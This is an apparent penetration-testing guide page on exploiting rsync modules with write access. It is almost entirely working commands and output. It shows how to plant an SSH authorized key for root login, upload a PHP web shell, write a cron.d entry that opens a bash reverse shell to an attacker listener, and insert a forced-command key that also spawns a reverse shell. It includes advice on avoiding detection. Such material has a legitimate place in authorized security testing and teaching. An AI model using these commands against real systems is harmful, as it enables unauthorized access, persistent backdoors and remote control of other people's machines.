# Rsync Write Access Exploitation

- **URL:** https://hackindex.io/services/rsync/exploitation/rsync-write-access-exploitation
- **Path:** Rsync > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/rsync/exploitation.md)
- **Published:** 2026-03-30
- **Updated:** 2026-03-30

## Rsync Write Access Exploitation

Write access to an rsync module means any file can be uploaded to the path the module exposes. The highest-impact path is planting an SSH authorized key in a user's .ssh directory: this gives direct SSH access without needing the account password. When the module maps to a web root, uploading a web shell provides code execution. Confirm write access through [unauthenticated access testing](https://hackindex.io/services/rsync/vulnerability-discovery/rsync-unauthenticated-access) and identify the module path before proceeding.

- SSH Authorized Key Planting
- Web Shell Upload via www Module
- Cron Backdoor via /etc Module
- Overwrite SSH Config for Forced Command

## SSH Authorized Key Planting

When a module maps to a home directory or .ssh path, add your public key to authorized_keys for passwordless SSH access. Generate a keypair first if needed:

```bash
ssh-keygen -t ed25519 -f /tmp/rsync_key -N '' -q && cat /tmp/rsync_key.pub
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... kali@kali
```

Check what is already in authorized_keys before overwriting it: you want to append, not replace, to avoid locking out existing access:

```bash
rsync rsync://$TARGET_IP:873/backup/authorized_keys /tmp/existing_keys 2>/dev/null
cat /tmp/rsync_key.pub >> /tmp/existing_keys
rsync -v /tmp/existing_keys rsync://$TARGET_IP:873/backup/authorized_keys
# existing_keys
#
# sent 512 bytes  received 35 bytes  1094.00 bytes/sec
```

```bash
ssh -i /tmp/rsync_key root@$TARGET_IP
# root@target:~#
```

> [!WARNING]
> Document the exact key added and remove it during cleanup. Never overwrite the entire authorized_keys file: always append to preserve existing access and avoid detection through lockouts.

## Web Shell Upload via www Module

When the module maps to a web root, upload a PHP web shell and trigger it through the web application:

```bash
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
rsync -v /tmp/shell.php rsync://$TARGET_IP:873/www/shell.php
# shell.php
#
# sent 49 bytes  received 35 bytes  168.00 bytes/sec
```

```bash
curl -sk "http://$TARGET_IP/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## Cron Backdoor via /etc Module

When a module maps to /etc or a cron directory, plant a crontab entry for scheduled reverse shell execution:

```bash
# Check if cron paths are accessible
rsync --list-only rsync://$TARGET_IP:873/etc/ 2>/dev/null | grep -iE 'cron'
# drwxr-xr-x cron.d
# drwxr-xr-x cron.daily
```

```bash
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'" > /tmp/cronjob
rsync -v /tmp/cronjob rsync://$TARGET_IP:873/etc/cron.d/update
rm -f /tmp/cronjob
```

```bash
nc -lvnp $LPORT
```

> [!CAUTION]
> Cron backdoors persist after the assessment ends. Remove them immediately after obtaining the shell. Document the exact path and content of any planted files.

## Overwrite SSH Config for Forced Command

When the module exposes the sshd_config or authorized_keys with options, force a specific command on SSH login:

```bash
# Add key with forced command in authorized_keys
echo "command=\"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\",no-port-forwarding $(cat /tmp/rsync_key.pub)" > /tmp/forced_key
rsync -v /tmp/forced_key rsync://$TARGET_IP:873/backup/authorized_keys
```

## References

- [rsync(1) manual](https://man7.org/linux/man-pages/man1/rsync.1.html) - rsync upload syntax and URL format for write operations